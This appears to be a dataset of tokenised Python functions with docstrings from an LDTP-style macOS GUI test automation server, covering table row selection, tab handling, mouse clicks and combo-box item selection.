{"signature": "def multiremove(self, window_name, object_name, row_text_list, partial_match=False):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.activate()<EOL>unselected = False<EOL>try:<EOL><INDENT>window = self._get_front_most_window()<EOL><DEDENT>except (IndexError,):<EOL><INDENT>window = self._get_any_window()<EOL><DEDENT>for row_text in row_text_list:<EOL><INDENT>selected = False<EOL>for cell in object_handle.AXRows:<EOL><INDENT>parent_cell = cell<EOL>cell = self._getfirstmatchingchild(cell, \"<STR_LIT>\")<EOL>if not cell:<EOL><INDENT>continue<EOL><DEDENT>if re.match(row_text, cell.AXValue):<EOL><INDENT>unselected = True<EOL>if parent_cell.AXSelected:<EOL><INDENT>x, y, width, height = self._getobjectsize(parent_cell)<EOL>window.clickMouseButtonLeftWithMods((x + width / <NUM_LIT:2>,<EOL>y + height / <NUM_LIT:2>),<EOL>['<STR_LIT>'])<EOL>self.wait(<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if not unselected:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % row_text)<EOL><DEDENT><DEDENT>if not unselected:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Remove multiple row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text_list: Row list with matching text to select\n@type row_text: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m3"}
{"signature": "def selectrowpartialmatch(self, window_name, object_name, row_text):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>for cell in object_handle.AXRows:<EOL><INDENT>if re.search(row_text,<EOL>cell.AXChildren[<NUM_LIT:0>].AXValue):<EOL><INDENT>if not cell.AXSelected:<EOL><INDENT>object_handle.activate()<EOL>cell.AXSelected = True<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>raise LdtpServerException(u\"<STR_LIT>\" % row_text)<EOL>", "docstring": "Select row partial match\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to select\n@type row_text: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m4"}
{"signature": "def selectrowindex(self, window_name, object_name, row_index):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>count = len(object_handle.AXRows)<EOL>if row_index < <NUM_LIT:0> or row_index > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % row_index)<EOL><DEDENT>cell = object_handle.AXRows[row_index]<EOL>if not cell.AXSelected:<EOL><INDENT>object_handle.activate()<EOL>cell.AXSelected = True<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Select row index\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to select\n@type row_index: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m5"}
{"signature": "def selectlastrow(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>cell = object_handle.AXRows[-<NUM_LIT:1>]<EOL>if not cell.AXSelected:<EOL><INDENT>object_handle.activate()<EOL>cell.AXSelected = True<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Select last row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m6"}
{"signature": "def setcellvalue(self, window_name, object_name, row_index,<EOL>column=<NUM_LIT:0>, data=None):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "Set cell value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n@param data: data, default value None\n        None, used for toggle button\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m7"}
{"signature": "def getcellvalue(self, window_name, object_name, row_index, column=<NUM_LIT:0>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>count = len(object_handle.AXRows)<EOL>if row_index < <NUM_LIT:0> or row_index > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % row_index)<EOL><DEDENT>cell = object_handle.AXRows[row_index]<EOL>count = len(cell.AXChildren)<EOL>if column < <NUM_LIT:0> or column > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % column)<EOL><DEDENT>obj = cell.AXChildren[column]<EOL>if not re.search(\"<STR_LIT>\", obj.AXRole):<EOL><INDENT>obj = cell.AXChildren[column]<EOL><DEDENT>return obj.AXValue<EOL>", "docstring": "Get cell value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n\n@return: cell value on success.\n@rtype: string", "id": "f10317:c0:m8"}
{"signature": "def getcellsize(self, window_name, object_name, row_index, column=<NUM_LIT:0>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>count = len(object_handle.AXRows)<EOL>if row_index < <NUM_LIT:0> or row_index > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % row_index)<EOL><DEDENT>cell = object_handle.AXRows[row_index]<EOL>count = len(cell.AXChildren)<EOL>if column < <NUM_LIT:0> or column > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % column)<EOL><DEDENT>obj = cell.AXChildren[column]<EOL>if not re.search(\"<STR_LIT>\", obj.AXRole):<EOL><INDENT>obj = cell.AXChildren[column]<EOL><DEDENT>return self._getobjectsize(obj)<EOL>", "docstring": "Get cell size\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n\n@return: cell coordinates on success.\n@rtype: list", "id": "f10317:c0:m9"}
{"signature": "def rightclick(self, window_name, object_name, row_text):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.activate()<EOL>self.wait(<NUM_LIT:1>)<EOL>for cell in object_handle.AXRows:<EOL><INDENT>cell = self._getfirstmatchingchild(cell, \"<STR_LIT>\")<EOL>if not cell:<EOL><INDENT>continue<EOL><DEDENT>if re.match(row_text, cell.AXValue):<EOL><INDENT>x, y, width, height = self._getobjectsize(cell)<EOL>cell.clickMouseButtonRight((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL><DEDENT><DEDENT>raise LdtpServerException(u'<STR_LIT>' % row_text)<EOL>", "docstring": "Right click on table cell\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to right click\n@type row_text: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m10"}
{"signature": "def checkrow(self, window_name, object_name, row_index, column=<NUM_LIT:0>):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "Check row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n\n@return: cell value on success.\n@rtype: string", "id": "f10317:c0:m11"}
{"signature": "def expandtablecell(self, window_name, object_name, row_index, column=<NUM_LIT:0>):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "Expand or contract table cell\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n\n@return: cell value on success.\n@rtype: string", "id": "f10317:c0:m12"}
{"signature": "def uncheckrow(self, window_name, object_name, row_index, column=<NUM_LIT:0>):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "Check row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column: Column index to get, default value 0\n@type column: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m13"}
{"signature": "def gettablerowindex(self, window_name, object_name, row_text):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>index = <NUM_LIT:0><EOL>for cell in object_handle.AXRows:<EOL><INDENT>if re.match(row_text,<EOL>cell.AXChildren[<NUM_LIT:0>].AXValue):<EOL><INDENT>return index<EOL><DEDENT>index += <NUM_LIT:1><EOL><DEDENT>raise LdtpServerException(u\"<STR_LIT>\" % row_text)<EOL>", "docstring": "Get table row index matching given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to select\n@type row_text: string\n\n@return: row index matching the text on success.\n@rtype: integer", "id": "f10317:c0:m14"}
{"signature": "def singleclickrow(self, window_name, object_name, row_text):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.activate()<EOL>self.wait(<NUM_LIT:1>)<EOL>for cell in object_handle.AXRows:<EOL><INDENT>cell = self._getfirstmatchingchild(cell, \"<STR_LIT>\")<EOL>if not cell:<EOL><INDENT>continue<EOL><DEDENT>if re.match(row_text, cell.AXValue):<EOL><INDENT>x, y, width, height = self._getobjectsize(cell)<EOL>cell.clickMouseButtonLeft((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL><DEDENT><DEDENT>raise LdtpServerException('<STR_LIT>' % row_text)<EOL>", "docstring": "Single click row matching given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to select\n@type row_text: string\n\n@return: row index matching the text on success.\n@rtype: integer", "id": "f10317:c0:m15"}
{"signature": "def doubleclickrow(self, window_name, object_name, row_text):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.activate()<EOL>self.wait(<NUM_LIT:1>)<EOL>for cell in object_handle.AXRows:<EOL><INDENT>cell = self._getfirstmatchingchild(cell, \"<STR_LIT>\")<EOL>if not cell:<EOL><INDENT>continue<EOL><DEDENT>if re.match(row_text, cell.AXValue):<EOL><INDENT>x, y, width, height = self._getobjectsize(cell)<EOL>cell.doubleClickMouse((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL><DEDENT><DEDENT>raise LdtpServerException('<STR_LIT>' % row_text)<EOL>", "docstring": "Double click row matching given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to select\n@type row_text: string\n\n@return: row index matching the text on success.\n@rtype: integer", "id": "f10317:c0:m16"}
{"signature": "def doubleclickrowindex(self, window_name, object_name, row_index, col_index=<NUM_LIT:0>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>count = len(object_handle.AXRows)<EOL>if row_index < <NUM_LIT:0> or row_index > count:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' % row_index)<EOL><DEDENT>cell = object_handle.AXRows[row_index]<EOL>self._grabfocus(cell)<EOL>x, y, width, height = self._getobjectsize(cell)<EOL>cell.doubleClickMouse((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Double click row matching given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param row_index: Row index to click\n@type row_index: integer\n@param col_index: Column index to click\n@type col_index: integer\n\n@return: row index matching the text on success.\n@rtype: integer", "id": "f10317:c0:m17"}
{"signature": "def verifytablecell(self, window_name, object_name, row_index,<EOL>column_index, row_text):", "body": "try:<EOL><INDENT>value = getcellvalue(window_name, object_name, row_index, column_index)<EOL>if re.match(row_text, value):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify table cell value with given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column_index: Column index to get, default value 0\n@type column_index: integer\n@param row_text: Row text to match\n@type string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10317:c0:m18"}
{"signature": "def doesrowexist(self, window_name, object_name, row_text,<EOL>partial_match=False):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>for cell in object_handle.AXRows:<EOL><INDENT>if not partial_match and re.match(row_text,<EOL>cell.AXChildren[<NUM_LIT:0>].AXValue):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif partial_match and re.search(row_text,<EOL>cell.AXChildren[<NUM_LIT:0>].AXValue):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify table cell value with given text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to match\n@type string\n@param partial_match: Find partial match strings\n@type boolean\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10317:c0:m19"}
{"signature": "def verifypartialtablecell(self, window_name, object_name, row_index,<EOL>column_index, row_text):", "body": "try:<EOL><INDENT>value = getcellvalue(window_name, object_name, row_index, column_index)<EOL>if re.searchmatch(row_text, value):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify partial table cell value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_index: Row index to get\n@type row_index: integer\n@param column_index: Column index to get, default value 0\n@type column_index: integer\n@param row_text: Row text to match\n@type string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10317:c0:m20"}
{"signature": "def selecttab(self, window_name, object_name, tab_name):", "body": "tab_handle = self._get_tab_handle(window_name, object_name, tab_name)<EOL>tab_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Select tab based on name.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param tab_name: tab to select\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10318:c0:m2"}
{"signature": "def selecttabindex(self, window_name, object_name, tab_index):", "body": "children = self._get_tab_children(window_name, object_name)<EOL>length = len(children)<EOL>if tab_index < <NUM_LIT:0> or tab_index > length:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % tab_index)<EOL><DEDENT>tab_handle = children[tab_index]<EOL>if not tab_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>tab_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Select tab based on index.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param tab_index: tab to select\n@type data: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10318:c0:m3"}
{"signature": "def verifytabname(self, window_name, object_name, tab_name):", "body": "try:<EOL><INDENT>tab_handle = self._get_tab_handle(window_name, object_name, tab_name)<EOL>if tab_handle.AXValue:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify tab name.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param tab_name: tab to select\n@type data: string\n\n@return: 1 on success 0 on failure\n@rtype: integer", "id": "f10318:c0:m4"}
{"signature": "def gettabcount(self, window_name, object_name):", "body": "children = self._get_tab_children(window_name, object_name)<EOL>return len(children)<EOL>", "docstring": "Get tab count.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: tab count on success.\n@rtype: integer", "id": "f10318:c0:m5"}
{"signature": "def gettabname(self, window_name, object_name, tab_index):", "body": "children = self._get_tab_children(window_name, object_name)<EOL>length = len(children)<EOL>if tab_index < <NUM_LIT:0> or tab_index > length:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % tab_index)<EOL><DEDENT>tab_handle = children[tab_index]<EOL>if not tab_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return tab_handle.AXTitle<EOL>", "docstring": "Get tab name\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param tab_index: Index of tab (zero based index)\n@type object_name: int\n\n@return: text on success.\n@rtype: string", "id": "f10318:c0:m6"}
{"signature": "def mouseleftclick(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle)<EOL>x, y, width, height = self._getobjectsize(object_handle)<EOL>object_handle.clickMouseButtonLeft((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Mouse left click on an object.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10319:c0:m0"}
{"signature": "def mouserightclick(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle)<EOL>x, y, width, height = self._getobjectsize(object_handle)<EOL>object_handle.clickMouseButtonRight((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Mouse right click on an object.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10319:c0:m1"}
{"signature": "def generatemouseevent(self, x, y, eventType=\"<STR_LIT>\",<EOL>drag_button_override='<STR_LIT>'):", "body": "if drag_button_override not in mouse_click_override:<EOL><INDENT>raise ValueError('<STR_LIT>' %drag_button_override)<EOL><DEDENT>global drag_button_remembered<EOL>point = (x, y)<EOL>button = centre  <EOL>click_type = None<EOL>if eventType == \"<STR_LIT>\" or eventType == \"<STR_LIT>\":<EOL><INDENT>if drag_button_override is not '<STR_LIT>':<EOL><INDENT>events = [mouse_click_override[drag_button_override]]<EOL><DEDENT>elif drag_button_remembered:<EOL><INDENT>events = [drag_button_remembered]<EOL><DEDENT>else:<EOL><INDENT>events = [move]<EOL><DEDENT>if eventType == \"<STR_LIT>\":<EOL><INDENT>point = CGEventGetLocation(CGEventCreate(None))<EOL>point.x += x<EOL>point.y += y<EOL><DEDENT><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_left]<EOL>drag_button_remembered = drag_left<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [release_left]<EOL>drag_button_remembered = None<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_left, release_left]<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_left, release_left]<EOL>click_type = double_click<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_other]<EOL>drag_button_remembered = drag_other<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [release_other]<EOL>drag_button_remembered = None<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_other, release_other]<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_other, release_other]<EOL>click_type = double_click<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_right]<EOL>drag_button_remembered = drag_right<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [release_right]<EOL>drag_button_remembered = None<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_right, release_right]<EOL><DEDENT>elif eventType == \"<STR_LIT>\":<EOL><INDENT>events = [press_right, release_right]<EOL>click_type = double_click<EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % eventType)<EOL><DEDENT>for event in events:<EOL><INDENT>CG_event = CGEventCreateMouseEvent(None, event, point, button)<EOL>if click_type:<EOL><INDENT>CGEventSetIntegerValueField(<EOL>CG_event, kCGMouseEventClickState, click_type)<EOL><DEDENT>CGEventPost(kCGHIDEventTap, CG_event)<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Generate mouse event on x, y co-ordinates.\n\n@param x: X co-ordinate\n@type x: int\n@param y: Y co-ordinate\n@type y: int\n@param eventType: Mouse click type\n@type eventType: str\n@param drag_button_override: Any drag_xxx value\n        Only relevant for movements, i.e. |type| = \"abs\" or \"rel\"\n        Quartz is not fully compatible with windows, so for drags\n        the drag button must be explicitly defined. generatemouseevent\n        will remember the last button pressed by default, and drag\n        that button, use this argument to override that.\n@type drag_button_override: str\n\n@return: 1 on success.\n@rtype: integer", "id": "f10319:c0:m2"}
{"signature": "def mousemove(self, window_name, object_name):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "Mouse move on an object.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10319:c0:m3"}
{"signature": "def doubleclick(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle)<EOL>x, y, width, height = self._getobjectsize(object_handle)<EOL>window = self._get_front_most_window()<EOL>window.doubleClickMouse((x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Double click on the object\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10319:c0:m4"}
{"signature": "def simulatemousemove(self, source_x, source_y, dest_x, dest_y, delay=<NUM_LIT:0.0>):", "body": "raise LdtpServerException(\"<STR_LIT>\")<EOL>", "docstring": "@param source_x: Source X\n@type source_x: integer\n@param source_y: Source Y\n@type source_y: integer\n@param dest_x: Dest X\n@type dest_x: integer\n@param dest_y: Dest Y\n@type dest_y: integer\n@param delay: Sleep time between the mouse move\n@type delay: double\n\n@return: 1 if simulation was successful, 0 if not.\n@rtype: integer", "id": "f10319:c0:m5"}
{"signature": "def selectitem(self, window_name, object_name, item_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle.AXWindow)<EOL>try:<EOL><INDENT>object_handle.Press()<EOL><DEDENT>except AttributeError:<EOL><INDENT>x, y, width, height = self._getobjectsize(object_handle)<EOL>self.generatemouseevent(x + <NUM_LIT:5>, y + <NUM_LIT:5>, \"<STR_LIT>\")<EOL>self.wait(<NUM_LIT:5>)<EOL>handle = self._get_sub_menu_handle(object_handle, item_name)<EOL>x, y, width, height = self._getobjectsize(handle)<EOL>self.generatemouseevent(x + <NUM_LIT:5>, y + <NUM_LIT:5>, \"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>self.wait(<NUM_LIT:1>)<EOL>menu_list = re.split(\"<STR_LIT:;>\", item_name)<EOL>try:<EOL><INDENT>menu_handle = self._internal_menu_handler(object_handle, menu_list,<EOL>True)<EOL>self.wait(<NUM_LIT:1>)<EOL>if not menu_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" %menu_list[-<NUM_LIT:1>])<EOL><DEDENT>menu_handle.Press()<EOL><DEDENT>except LdtpServerException:<EOL><INDENT>object_handle.activate()<EOL>object_handle.sendKey(AXKeyCodeConstants.ESCAPE)<EOL>raise<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Select combo box / layered pane item\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param item_name: Item name to select\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10321:c0:m0"}
